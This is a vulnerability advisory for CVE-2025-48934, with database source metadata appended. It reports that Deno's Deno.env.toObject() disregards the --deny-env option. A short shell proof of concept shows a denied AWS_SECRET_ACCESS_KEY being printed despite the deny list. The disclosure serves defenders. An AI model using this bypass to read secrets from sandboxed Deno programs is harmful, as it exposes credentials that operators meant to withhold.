The Deno.env.toObject method ignores any variables listed in the --deny-env option of the deno run command. When looking at the documentation of the --deny-env option this might lead to a false impression that variables listed in the option are impossible to read.
export AWS_SECRET_ACCESS_KEY=my-secret-aws-key
# Works as expected. The program stops with a "NotCapable" error message
echo 'console.log(Deno.env.get("AWS_SECRET_ACCESS_KEY"));' | deno run \
--allow-env \
--deny-env=AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY -
# All enviroment variables are printed and the --deny-env list is completely disregarded
echo 'console.log(Deno.env.toObject());' | deno run \
--allow-env \
--deny-env=AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY -
The first example using get exits with the following error:
error: Uncaught (in promise) NotCapable: Requires env access to "AWS_SECRET_ACCESS_KEY", run again with the --allow-env flag
console.log(Deno.env.get("AWS_SECRET_ACCESS_KEY"));
^
at Object.getEnv [as get] (ext:deno_os/30_os.js:124:10)
at file:///$deno$stdin.mts:1:22
The second example using toObject prints all environment variables:
[Object: null prototype] {
...
AWS_SECRET_ACCESS_KEY: "my-secret-aws-key",
...
}
Software relying on the combination of both flags to allow access to most environment variables except a few sensitive ones will be vulnerable to malicious code trying to steal secrets using the Deno.env.toObject() method.
{
"license": "CC-BY-4.0",
"sources": [
{
"modified": "2026-06-17T09:30:30.597Z",
"url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2025-48934",
"imported": "2026-07-17T21:10:02.858Z",
"database_specific": {
"status": "Analyzed"
},
"html_url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48934",
"id": "CVE-2025-48934",
"published": "2025-06-04T20:15:24.163Z"
},
{
"modified": "2025-07-02T18:31:08Z",
"url": "https://api.github.com/advisories/GHSA-7w8p-chxq-2789",
"imported": "2026-07-17T21:10:03.009Z",
"html_url": "https://github.com/advisories/GHSA-7w8p-chxq-2789",
"published": "2025-06-04T21:18:18Z",
"id": "GHSA-7w8p-chxq-2789"
},
{
"modified": "2025-06-04T19:32:14Z",
"url": "https://euvdservices.enisa.europa.eu/api/enisaid?id=EUVD-2025-16913",
"imported": "2026-07-17T21:10:06.334Z",
"html_url": "https://euvd.enisa.europa.eu/vulnerability/EUVD-2025-16913",
"id": "EUVD-2025-16913",
"published": "2025-06-04T19:21:17Z"
}
]
}